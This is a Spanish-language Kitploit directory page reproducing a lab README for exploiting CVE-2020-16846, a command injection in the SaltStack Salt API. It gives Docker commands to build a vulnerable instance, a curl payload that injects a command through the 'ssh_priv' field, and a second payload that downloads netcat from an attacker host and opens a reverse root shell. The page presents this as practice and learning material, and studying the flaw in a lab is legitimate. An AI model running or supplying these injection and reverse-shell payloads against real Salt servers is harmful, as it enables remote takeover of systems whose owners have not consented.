Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-16846-Saltstack-Salt-API | Kitploit
Herramientas/GitHubGitHub/zomy22/cve-2020-16846-saltstack-salt-api
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubzomy22/cve-2020-16846-saltstack-salt-api

CVE-2020-16846-Saltstack-Salt-API

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 4 añosAún no revisado

CVE-2020-16846-Saltstack-Salt-API

Vulnerabilidad explicada: Se descubrió un problema en SaltStack Salt hasta la versión 3002. El envío de solicitudes web manipuladas a la API de Salt, con el cliente SSH habilitado, puede provocar una inyección de shell. Los detalles sobre esta vulnerabilidad se pueden encontrar aquí:

https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities

Con fines de práctica y aprendizaje, he decidido crear una instancia vulnerable y explotarla.

Versión vulnerable: https://github.com/saltstack/salt/releases/tag/v3002

Probado en Ubuntu 20.04.03

Instrucciones

Usa el Dockerfile para crear una instancia vulnerable en Docker.

Ejecuta salt_setup.sh si quieres crear una instancia vulnerable en una VM de Ubuntu.

Construir la imagen

docker build -t salt-image .

Ejecuta el contenedor y expón los puertos (solo se necesita el 8080 para poder explotarlo)

docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

api

Explotación

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

reverse_shell

Shell inversa

root@kitploit:~
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f  #"}'

pwned

Descargar herramienta